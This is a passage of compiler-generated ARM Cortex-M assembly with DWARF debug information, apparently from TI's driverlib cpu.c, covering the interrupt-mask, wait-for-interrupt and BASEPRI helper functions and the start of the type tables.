;* Local Frame Size : 0 Args + 0 Auto + 0 Save = 0 byte *
;*****************************************************************************
CPUprimask:
;* --------------------------------------------------------------------------*
.dwcfi cfa_offset, 0
.dwpsn file "../driverlib/cpu.c",line 190,column 5,is_stmt,isa 1
;----------------------------------------------------------------------
; 190 | __asm(" mrs r0, PRIMASK\n"
; 191 | " bx lr\n");
; 193 | //
; 194 | // The following keeps the compiler happy, because it wants to see a
; 195 | // return value from this function. It will generate code to return
; 196 | // a zero. However, the real return is the "bx lr" above, so the
; 197 | // return(0) is never executed and the function returns with the value
; 198 | // you expect in R0.
; 199 | //
;----------------------------------------------------------------------
mrs r0, PRIMASK
bx lr
.dwpsn file "../driverlib/cpu.c",line 200,column 5,is_stmt,isa 1
;----------------------------------------------------------------------
; 200 | return(0);
;----------------------------------------------------------------------
MOVS A1, #0 ; [DPU_V7M3_PIPE] |200|
.dwpsn file "../driverlib/cpu.c",line 201,column 1,is_stmt,isa 1
$C$DW$4 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$4, DW_AT_low_pc(0x00)
.dwattr $C$DW$4, DW_AT_TI_return
BX LR ; [DPU_V7M3_PIPE]
; BRANCH OCCURS ; []
.dwattr $C$DW$3, DW_AT_TI_end_file("../driverlib/cpu.c")
.dwattr $C$DW$3, DW_AT_TI_end_line(0xc9)
.dwattr $C$DW$3, DW_AT_TI_end_column(0x01)
.dwendentry
.dwendtag $C$DW$3
.sect ".text"
.clink
.thumbfunc CPUcpsie
.thumb
.global CPUcpsie
$C$DW$5 .dwtag DW_TAG_subprogram
.dwattr $C$DW$5, DW_AT_name("CPUcpsie")
.dwattr $C$DW$5, DW_AT_low_pc(CPUcpsie)
.dwattr $C$DW$5, DW_AT_high_pc(0x00)
.dwattr $C$DW$5, DW_AT_TI_symbol_name("CPUcpsie")
.dwattr $C$DW$5, DW_AT_external
.dwattr $C$DW$5, DW_AT_type(*$C$DW$T$26)
.dwattr $C$DW$5, DW_AT_TI_begin_file("../driverlib/cpu.c")
.dwattr $C$DW$5, DW_AT_TI_begin_line(0x10a)
.dwattr $C$DW$5, DW_AT_TI_begin_column(0x01)
.dwattr $C$DW$5, DW_AT_decl_file("../driverlib/cpu.c")
.dwattr $C$DW$5, DW_AT_decl_line(0x10a)
.dwattr $C$DW$5, DW_AT_decl_column(0x01)
.dwattr $C$DW$5, DW_AT_TI_max_frame_size(0x00)
.dwpsn file "../driverlib/cpu.c",line 267,column 1,is_stmt,address CPUcpsie,isa 1
.dwfde $C$DW$CIE, CPUcpsie
;----------------------------------------------------------------------
; 266 | CPUcpsie(void)
; 268 | //
; 269 | // Read PRIMASK and enable interrupts.
; 270 | //
;----------------------------------------------------------------------
;*****************************************************************************
;* FUNCTION NAME: CPUcpsie *
;* *
;* Regs Modified : A1,SR *
;* Regs Used : A1,LR,SR *
;* Local Frame Size : 0 Args + 0 Auto + 0 Save = 0 byte *
;*****************************************************************************
CPUcpsie:
;* --------------------------------------------------------------------------*
.dwcfi cfa_offset, 0
.dwpsn file "../driverlib/cpu.c",line 271,column 5,is_stmt,isa 1
;----------------------------------------------------------------------
; 271 | __asm(" mrs r0, PRIMASK\n"
; 272 | " cpsie i\n"
; 273 | " bx lr\n");
; 275 | //
; 276 | // The following keeps the compiler happy, because it wants to see a
; 277 | // return value from this function. It will generate code to return
; 278 | // a zero. However, the real return is the "bx lr" above, so the
; 279 | // return(0) is never executed and the function returns with the value
; 280 | // you expect in R0.
; 281 | //
;----------------------------------------------------------------------
mrs r0, PRIMASK
cpsie i
bx lr
.dwpsn file "../driverlib/cpu.c",line 282,column 5,is_stmt,isa 1
;----------------------------------------------------------------------
; 282 | return(0);
;----------------------------------------------------------------------
MOVS A1, #0 ; [DPU_V7M3_PIPE] |282|
.dwpsn file "../driverlib/cpu.c",line 283,column 1,is_stmt,isa 1
$C$DW$6 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$6, DW_AT_low_pc(0x00)
.dwattr $C$DW$6, DW_AT_TI_return
BX LR ; [DPU_V7M3_PIPE]
; BRANCH OCCURS ; []
.dwattr $C$DW$5, DW_AT_TI_end_file("../driverlib/cpu.c")
.dwattr $C$DW$5, DW_AT_TI_end_line(0x11b)
.dwattr $C$DW$5, DW_AT_TI_end_column(0x01)
.dwendentry
.dwendtag $C$DW$5
.sect ".text"
.clink
.thumbfunc CPUwfi
.thumb
.global CPUwfi
$C$DW$7 .dwtag DW_TAG_subprogram
.dwattr $C$DW$7, DW_AT_name("CPUwfi")
.dwattr $C$DW$7, DW_AT_low_pc(CPUwfi)
.dwattr $C$DW$7, DW_AT_high_pc(0x00)
.dwattr $C$DW$7, DW_AT_TI_symbol_name("CPUwfi")
.dwattr $C$DW$7, DW_AT_external
.dwattr $C$DW$7, DW_AT_TI_begin_file("../driverlib/cpu.c")
.dwattr $C$DW$7, DW_AT_TI_begin_line(0x145)
.dwattr $C$DW$7, DW_AT_TI_begin_column(0x01)
.dwattr $C$DW$7, DW_AT_decl_file("../driverlib/cpu.c")
.dwattr $C$DW$7, DW_AT_decl_line(0x145)
.dwattr $C$DW$7, DW_AT_decl_column(0x01)
.dwattr $C$DW$7, DW_AT_TI_max_frame_size(0x00)
.dwpsn file "../driverlib/cpu.c",line 326,column 1,is_stmt,address CPUwfi,isa 1
.dwfde $C$DW$CIE, CPUwfi
;----------------------------------------------------------------------
; 325 | CPUwfi(void)
; 327 | //
; 328 | // Wait for the next interrupt.
; 329 | //
;----------------------------------------------------------------------
;*****************************************************************************
;* FUNCTION NAME: CPUwfi *
;* *
;* Regs Modified : *
;* Regs Used : LR *
;* Local Frame Size : 0 Args + 0 Auto + 0 Save = 0 byte *
;*****************************************************************************
CPUwfi:
;* --------------------------------------------------------------------------*
.dwcfi cfa_offset, 0
.dwpsn file "../driverlib/cpu.c",line 330,column 5,is_stmt,isa 1
;----------------------------------------------------------------------
; 330 | __asm(" wfi\n");
;----------------------------------------------------------------------
wfi
.dwpsn file "../driverlib/cpu.c",line 331,column 1,is_stmt,isa 1
$C$DW$8 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$8, DW_AT_low_pc(0x00)
.dwattr $C$DW$8, DW_AT_TI_return
BX LR ; [DPU_V7M3_PIPE]
; BRANCH OCCURS ; []
.dwattr $C$DW$7, DW_AT_TI_end_file("../driverlib/cpu.c")
.dwattr $C$DW$7, DW_AT_TI_end_line(0x14b)
.dwattr $C$DW$7, DW_AT_TI_end_column(0x01)
.dwendentry
.dwendtag $C$DW$7
.sect ".text"
.clink
.thumbfunc CPUbasepriSet
.thumb
.global CPUbasepriSet
$C$DW$9 .dwtag DW_TAG_subprogram
.dwattr $C$DW$9, DW_AT_name("CPUbasepriSet")
.dwattr $C$DW$9, DW_AT_low_pc(CPUbasepriSet)
.dwattr $C$DW$9, DW_AT_high_pc(0x00)
.dwattr $C$DW$9, DW_AT_TI_symbol_name("CPUbasepriSet")
.dwattr $C$DW$9, DW_AT_external
.dwattr $C$DW$9, DW_AT_TI_begin_file("../driverlib/cpu.c")
.dwattr $C$DW$9, DW_AT_TI_begin_line(0x175)
.dwattr $C$DW$9, DW_AT_TI_begin_column(0x01)
.dwattr $C$DW$9, DW_AT_decl_file("../driverlib/cpu.c")
.dwattr $C$DW$9, DW_AT_decl_line(0x175)
.dwattr $C$DW$9, DW_AT_decl_column(0x01)
.dwattr $C$DW$9, DW_AT_TI_max_frame_size(0x08)
.dwpsn file "../driverlib/cpu.c",line 374,column 1,is_stmt,address CPUbasepriSet,isa 1
.dwfde $C$DW$CIE, CPUbasepriSet
$C$DW$10 .dwtag DW_TAG_formal_parameter
.dwattr $C$DW$10, DW_AT_name("ui32NewBasepri")
.dwattr $C$DW$10, DW_AT_TI_symbol_name("ui32NewBasepri")
.dwattr $C$DW$10, DW_AT_type(*$C$DW$T$26)
.dwattr $C$DW$10, DW_AT_location[DW_OP_reg0]
;----------------------------------------------------------------------
; 373 | CPUbasepriSet(uint32_t ui32NewBasepri)
;----------------------------------------------------------------------
;*****************************************************************************
;* FUNCTION NAME: CPUbasepriSet *
;* *
;* Regs Modified : SP *
;* Regs Used : A1,SP,LR *
;* Local Frame Size : 0 Args + 4 Auto + 0 Save = 4 byte *
;*****************************************************************************
CPUbasepriSet:
;* --------------------------------------------------------------------------*
.dwcfi cfa_offset, 0
SUB SP, SP, #8 ; [DPU_V7M3_PIPE]
.dwcfi cfa_offset, 8
$C$DW$11 .dwtag DW_TAG_variable
.dwattr $C$DW$11, DW_AT_name("ui32NewBasepri")
.dwattr $C$DW$11, DW_AT_TI_symbol_name("ui32NewBasepri")
.dwattr $C$DW$11, DW_AT_type(*$C$DW$T$26)
.dwattr $C$DW$11, DW_AT_location[DW_OP_breg13 0]
;----------------------------------------------------------------------
; 375 | //
; 376 | // Set the BASEPRI register
; 377 | //
;----------------------------------------------------------------------
STR A1, [SP, #0] ; [DPU_V7M3_PIPE] |374|
.dwpsn file "../driverlib/cpu.c",line 378,column 5,is_stmt,isa 1
;----------------------------------------------------------------------
; 378 | __asm(" msr BASEPRI, r0\n");
;----------------------------------------------------------------------
msr BASEPRI, r0
.dwpsn file "../driverlib/cpu.c",line 379,column 1,is_stmt,isa 1
ADD SP, SP, #8 ; [DPU_V7M3_PIPE]
.dwcfi cfa_offset, 0
$C$DW$12 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$12, DW_AT_low_pc(0x00)
.dwattr $C$DW$12, DW_AT_TI_return
BX LR ; [DPU_V7M3_PIPE]
; BRANCH OCCURS ; []
.dwattr $C$DW$9, DW_AT_TI_end_file("../driverlib/cpu.c")
.dwattr $C$DW$9, DW_AT_TI_end_line(0x17b)
.dwattr $C$DW$9, DW_AT_TI_end_column(0x01)
.dwendentry
.dwendtag $C$DW$9
.sect ".text"
.clink
.thumbfunc CPUbasepriGet
.thumb
.global CPUbasepriGet
$C$DW$13 .dwtag DW_TAG_subprogram
.dwattr $C$DW$13, DW_AT_name("CPUbasepriGet")
.dwattr $C$DW$13, DW_AT_low_pc(CPUbasepriGet)
.dwattr $C$DW$13, DW_AT_high_pc(0x00)
.dwattr $C$DW$13, DW_AT_TI_symbol_name("CPUbasepriGet")
.dwattr $C$DW$13, DW_AT_external
.dwattr $C$DW$13, DW_AT_type(*$C$DW$T$26)
.dwattr $C$DW$13, DW_AT_TI_begin_file("../driverlib/cpu.c")
.dwattr $C$DW$13, DW_AT_TI_begin_line(0x1b8)
.dwattr $C$DW$13, DW_AT_TI_begin_column(0x01)
.dwattr $C$DW$13, DW_AT_decl_file("../driverlib/cpu.c")
.dwattr $C$DW$13, DW_AT_decl_line(0x1b8)
.dwattr $C$DW$13, DW_AT_decl_column(0x01)
.dwattr $C$DW$13, DW_AT_TI_max_frame_size(0x00)
.dwpsn file "../driverlib/cpu.c",line 441,column 1,is_stmt,address CPUbasepriGet,isa 1
.dwfde $C$DW$CIE, CPUbasepriGet
;----------------------------------------------------------------------
; 440 | CPUbasepriGet(void)
; 442 | //
; 443 | // Read BASEPRI
; 444 | //
;----------------------------------------------------------------------
;*****************************************************************************
;* FUNCTION NAME: CPUbasepriGet *
;* *
;* Regs Modified : A1,SR *
;* Regs Used : A1,LR,SR *
;* Local Frame Size : 0 Args + 0 Auto + 0 Save = 0 byte *
;*****************************************************************************
CPUbasepriGet:
;* --------------------------------------------------------------------------*
.dwcfi cfa_offset, 0
.dwpsn file "../driverlib/cpu.c",line 445,column 5,is_stmt,isa 1
;----------------------------------------------------------------------
; 445 | __asm(" mrs r0, BASEPRI\n"
; 446 | " bx lr\n");
; 448 | //
; 449 | // The following keeps the compiler happy, because it wants to see a
; 450 | // return value from this function. It will generate code to return
; 451 | // a zero. However, the real return is the "bx lr" above, so the
; 452 | // return(0) is never executed and the function returns with the value
; 453 | // you expect in R0.
; 454 | //
;----------------------------------------------------------------------
mrs r0, BASEPRI
bx lr
.dwpsn file "../driverlib/cpu.c",line 455,column 5,is_stmt,isa 1
;----------------------------------------------------------------------
; 455 | return(0);
;----------------------------------------------------------------------
MOVS A1, #0 ; [DPU_V7M3_PIPE] |455|
.dwpsn file "../driverlib/cpu.c",line 456,column 1,is_stmt,isa 1
$C$DW$14 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$14, DW_AT_low_pc(0x00)
.dwattr $C$DW$14, DW_AT_TI_return
BX LR ; [DPU_V7M3_PIPE]
; BRANCH OCCURS ; []
.dwattr $C$DW$13, DW_AT_TI_end_file("../driverlib/cpu.c")
.dwattr $C$DW$13, DW_AT_TI_end_line(0x1c8)
.dwattr $C$DW$13, DW_AT_TI_end_column(0x01)
.dwendentry
.dwendtag $C$DW$13
;******************************************************************************
;* BUILD ATTRIBUTES *
;******************************************************************************
.battr "aeabi", Tag_File, 1, Tag_ABI_PCS_wchar_t(2)
.battr "aeabi", Tag_File, 1, Tag_ABI_FP_rounding(0)
.battr "aeabi", Tag_File, 1, Tag_ABI_FP_denormal(0)
.battr "aeabi", Tag_File, 1, Tag_ABI_FP_exceptions(0)
.battr "aeabi", Tag_File, 1, Tag_ABI_FP_number_model(1)
.battr "aeabi", Tag_File, 1, Tag_ABI_enum_size(0)
.battr "aeabi", Tag_File, 1, Tag_ABI_optimization_goals(5)
.battr "aeabi", Tag_File, 1, Tag_ABI_FP_optimization_goals(0)
.battr "TI", Tag_File, 1, Tag_Bitfield_layout(2)
.battr "aeabi", Tag_File, 1, Tag_ABI_VFP_args(3)
.battr "TI", Tag_File, 1, Tag_FP_interface(1)
;******************************************************************************
;* TYPE INFORMATION *
;******************************************************************************
$C$DW$T$21 .dwtag DW_TAG_structure_type
.dwattr $C$DW$T$21, DW_AT_byte_size(0x10)
$C$DW$15 .dwtag DW_TAG_member
.dwattr $C$DW$15, DW_AT_type(*$C$DW$T$14)
.dwattr $C$DW$15, DW_AT_name("__max_align1")
.dwattr $C$DW$15, DW_AT_TI_symbol_name("__max_align1")
.dwattr $C$DW$15, DW_AT_data_member_location[DW_OP_plus_uconst 0x0]
.dwattr $C$DW$15, DW_AT_accessibility(DW_ACCESS_public)
.dwattr $C$DW$15, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/sys/_types.h")
.dwattr $C$DW$15, DW_AT_decl_line(0x70)
.dwattr $C$DW$15, DW_AT_decl_column(0x0c)
$C$DW$16 .dwtag DW_TAG_member
.dwattr $C$DW$16, DW_AT_type(*$C$DW$T$18)
.dwattr $C$DW$16, DW_AT_name("__max_align2")
.dwattr $C$DW$16, DW_AT_TI_symbol_name("__max_align2")
.dwattr $C$DW$16, DW_AT_data_member_location[DW_OP_plus_uconst 0x8]
.dwattr $C$DW$16, DW_AT_accessibility(DW_ACCESS_public)
.dwattr $C$DW$16, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/sys/_types.h")
.dwattr $C$DW$16, DW_AT_decl_line(0x71)
.dwattr $C$DW$16, DW_AT_decl_column(0x0e)
.dwattr $C$DW$T$21, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/sys/_types.h")
.dwattr $C$DW$T$21, DW_AT_decl_line(0x6f)
.dwattr $C$DW$T$21, DW_AT_decl_column(0x10)
.dwendtag $C$DW$T$21
$C$DW$T$23 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$23, DW_AT_name("__max_align_t")
.dwattr $C$DW$T$23, DW_AT_type(*$C$DW$T$21)
.dwattr $C$DW$T$23, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$23, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/sys/_types.h")
.dwattr $C$DW$T$23, DW_AT_decl_line(0x72)
.dwattr $C$DW$T$23, DW_AT_decl_column(0x03)
$C$DW$T$2 .dwtag DW_TAG_unspecified_type
.dwattr $C$DW$T$2, DW_AT_name("void")
$C$DW$T$3 .dwtag DW_TAG_pointer_type
.dwattr $C$DW$T$3, DW_AT_type(*$C$DW$T$2)
.dwattr $C$DW$T$3, DW_AT_address_class(0x20)
$C$DW$T$4 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$4, DW_AT_encoding(DW_ATE_boolean)
.dwattr $C$DW$T$4, DW_AT_name("bool")
.dwattr $C$DW$T$4, DW_AT_byte_size(0x01)
$C$DW$T$5 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$5, DW_AT_encoding(DW_ATE_signed_char)
.dwattr $C$DW$T$5, DW_AT_name("signed char")
.dwattr $C$DW$T$5, DW_AT_byte_size(0x01)
$C$DW$T$28 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$28, DW_AT_name("__int8_t")
.dwattr $C$DW$T$28, DW_AT_type(*$C$DW$T$5)
.dwattr $C$DW$T$28, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$28, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/machine/_types.h")
.dwattr $C$DW$T$28, DW_AT_decl_line(0x39)
.dwattr $C$DW$T$28, DW_AT_decl_column(0x16)
$C$DW$T$29 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$29, DW_AT_name("__int_least8_t")
.dwattr $C$DW$T$29, DW_AT_type(*$C$DW$T$28)
.dwattr $C$DW$T$29, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$29, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/machine/_types.h")
.dwattr $C$DW$T$29, DW_AT_decl_line(0x58)
.dwattr $C$DW$T$29, DW_AT_decl_column(0x12)
$C$DW$T$30 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$30, DW_AT_name("int_least8_t")
.dwattr $C$DW$T$30, DW_AT_type(*$C$DW$T$29)
.dwattr $C$DW$T$30, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$30, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/sys/stdint.h")
.dwattr $C$DW$T$30, DW_AT_decl_line(0x28)
.dwattr $C$DW$T$30, DW_AT_decl_column(0x19)
$C$DW$T$31 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$31, DW_AT_name("int8_t")
.dwattr $C$DW$T$31, DW_AT_type(*$C$DW$T$28)
.dwattr $C$DW$T$31, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$31, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/sys/_stdint.h")
.dwattr $C$DW$T$31, DW_AT_decl_line(0x24)
.dwattr $C$DW$T$31, DW_AT_decl_column(0x13)
$C$DW$T$6 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$6, DW_AT_encoding(DW_ATE_unsigned_char)
.dwattr $C$DW$T$6, DW_AT_name("unsigned char")
.dwattr $C$DW$T$6, DW_AT_byte_size(0x01)
$C$DW$T$32 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$32, DW_AT_name("__uint8_t")
.dwattr $C$DW$T$32, DW_AT_type(*$C$DW$T$6)
.dwattr $C$DW$T$32, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$32, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/machine/_types.h")
.dwattr $C$DW$T$32, DW_AT_decl_line(0x3a)
.dwattr $C$DW$T$32, DW_AT_decl_column(0x18)
$C$DW$T$33 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$33, DW_AT_name("__sa_family_t")
.dwattr $C$DW$T$33, DW_AT_type(*$C$DW$T$32)
.dwattr $C$DW$T$33, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$33, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/sys/_types.h")
.dwattr $C$DW$T$33, DW_AT_decl_line(0x43)
.dwattr $C$DW$T$33, DW_AT_decl_column(0x13)
$C$DW$T$34 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$34, DW_AT_name("__uint_least8_t")
.dwattr $C$DW$T$34, DW_AT_type(*$C$DW$T$32)
.dwattr $C$DW$T$34, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$34, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/machine/_types.h")
.dwattr $C$DW$T$34, DW_AT_decl_line(0x6d)
.dwattr $C$DW$T$34, DW_AT_decl_column(0x13)
$C$DW$T$35 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$35, DW_AT_name("uint_least8_t")
.dwattr $C$DW$T$35, DW_AT_type(*$C$DW$T$34)
.dwattr $C$DW$T$35, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$35, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/sys/stdint.h")
.dwattr $C$DW$T$35, DW_AT_decl_line(0x2d)
.dwattr $C$DW$T$35, DW_AT_decl_column(0x1a)
$C$DW$T$36 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$36, DW_AT_name("uint8_t")
.dwattr $C$DW$T$36, DW_AT_type(*$C$DW$T$32)
.dwattr $C$DW$T$36, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$36, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/sys/_stdint.h")
.dwattr $C$DW$T$36, DW_AT_decl_line(0x38)
.dwattr $C$DW$T$36, DW_AT_decl_column(0x14)
$C$DW$T$7 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$7, DW_AT_encoding(DW_ATE_signed_char)
.dwattr $C$DW$T$7, DW_AT_name("wchar_t")
.dwattr $C$DW$T$7, DW_AT_byte_size(0x02)
$C$DW$T$8 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$8, DW_AT_encoding(DW_ATE_signed)
.dwattr $C$DW$T$8, DW_AT_name("short")
.dwattr $C$DW$T$8, DW_AT_byte_size(0x02)
$C$DW$T$37 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$37, DW_AT_name("__int16_t")
.dwattr $C$DW$T$37, DW_AT_type(*$C$DW$T$8)
.dwattr $C$DW$T$37, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$37, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/machine/_types.h")
.dwattr $C$DW$T$37, DW_AT_decl_line(0x3b)
.dwattr $C$DW$T$37, DW_AT_decl_column(0x11)
$C$DW$T$38 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$38, DW_AT_name("__int_least16_t")
.dwattr $C$DW$T$38, DW_AT_type(*$C$DW$T$37)
.dwattr $C$DW$T$38, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$38, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/machine/_types.h")
.dwattr $C$DW$T$38, DW_AT_decl_line(0x59)
.dwattr $C$DW$T$38, DW_AT_decl_column(0x13)
$C$DW$T$39 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$39, DW_AT_name("int_least16_t")
.dwattr $C$DW$T$39, DW_AT_type(*$C$DW$T$38)
.dwattr $C$DW$T$39, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$39, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/sys/stdint.h")
.dwattr $C$DW$T$39, DW_AT_decl_line(0x29)
.dwattr $C$DW$T$39, DW_AT_decl_column(0x1a)
$C$DW$T$40 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$40, DW_AT_name("int16_t")
.dwattr $C$DW$T$40, DW_AT_type(*$C$DW$T$37)
.dwattr $C$DW$T$40, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$40, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/sys/_stdint.h")
.dwattr $C$DW$T$40, DW_AT_decl_line(0x29)
.dwattr $C$DW$T$40, DW_AT_decl_column(0x14)
$C$DW$T$9 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$9, DW_AT_encoding(DW_ATE_unsigned)
.dwattr $C$DW$T$9, DW_AT_name("unsigned short")
.dwattr $C$DW$T$9, DW_AT_byte_size(0x02)
$C$DW$T$41 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$41, DW_AT_name("___wchar_t")
.dwattr $C$DW$T$41, DW_AT_type(*$C$DW$T$9)
.dwattr $C$DW$T$41, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$41, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/machine/_types.h")
.dwattr $C$DW$T$41, DW_AT_decl_line(0x76)
.dwattr $C$DW$T$41, DW_AT_decl_column(0x1a)
$C$DW$T$42 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$42, DW_AT_name("__uint16_t")
.dwattr $C$DW$T$42, DW_AT_type(*$C$DW$T$9)
.dwattr $C$DW$T$42, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$42, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/machine/_types.h")
.dwattr $C$DW$T$42, DW_AT_decl_line(0x3c)
.dwattr $C$DW$T$42, DW_AT_decl_column(0x19)
$C$DW$T$43 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$43, DW_AT_name("__mode_t")
.dwattr $C$DW$T$43, DW_AT_type(*$C$DW$T$42)
.dwattr $C$DW$T$43, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$43, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/sys/_types.h")
.dwattr $C$DW$T$43, DW_AT_decl_line(0x39)
.dwattr $C$DW$T$43, DW_AT_decl_column(0x14)
$C$DW$T$44 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$44, DW_AT_name("__uint_least16_t")
.dwattr $C$DW$T$44, DW_AT_type(*$C$DW$T$42)
.dwattr $C$DW$T$44, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$44, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/machine/_types.h")
.dwattr $C$DW$T$44, DW_AT_decl_line(0x6e)
.dwattr $C$DW$T$44, DW_AT_decl_column(0x14)
$C$DW$T$45 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$45, DW_AT_name("__char16_t")
.dwattr $C$DW$T$45, DW_AT_type(*$C$DW$T$44)
.dwattr $C$DW$T$45, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$45, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/sys/_types.h")
.dwattr $C$DW$T$45, DW_AT_decl_line(0x66)
.dwattr $C$DW$T$45, DW_AT_decl_column(0x1a)
$C$DW$T$46 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$46, DW_AT_name("uint_least16_t")
.dwattr $C$DW$T$46, DW_AT_type(*$C$DW$T$44)
.dwattr $C$DW$T$46, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$46, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/sys/stdint.h")
.dwattr $C$DW$T$46, DW_AT_decl_line(0x2e)
.dwattr $C$DW$T$46, DW_AT_decl_column(0x1a)
$C$DW$T$47 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$47, DW_AT_name("uint16_t")
.dwattr $C$DW$T$47, DW_AT_type(*$C$DW$T$42)
.dwattr $C$DW$T$47, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$47, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/sys/_stdint.h")
.dwattr $C$DW$T$47, DW_AT_decl_line(0x3d)
.dwattr $C$DW$T$47, DW_AT_decl_column(0x15)
$C$DW$T$10 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$10, DW_AT_encoding(DW_ATE_signed)
.dwattr $C$DW$T$10, DW_AT_name("int")
.dwattr $C$DW$T$10, DW_AT_byte_size(0x04)
$C$DW$T$48 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$48, DW_AT_name("_Mbstatet")
.dwattr $C$DW$T$48, DW_AT_type(*$C$DW$T$10)
.dwattr $C$DW$T$48, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$48, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/sys/_types.h")
.dwattr $C$DW$T$48, DW_AT_decl_line(0x84)
.dwattr $C$DW$T$48, DW_AT_decl_column(0x0d)
$C$DW$T$49 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$49, DW_AT_name("__mbstate_t")
.dwattr $C$DW$T$49, DW_AT_type(*$C$DW$T$48)
.dwattr $C$DW$T$49, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$49, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/sys/_types.h")
.dwattr $C$DW$T$49, DW_AT_decl_line(0x87)
.dwattr $C$DW$T$49, DW_AT_decl_column(0x13)
$C$DW$T$50 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$50, DW_AT_name("__accmode_t")
.dwattr $C$DW$T$50, DW_AT_type(*$C$DW$T$10)
.dwattr $C$DW$T$50, DW_AT_language(DW_LANG_C)
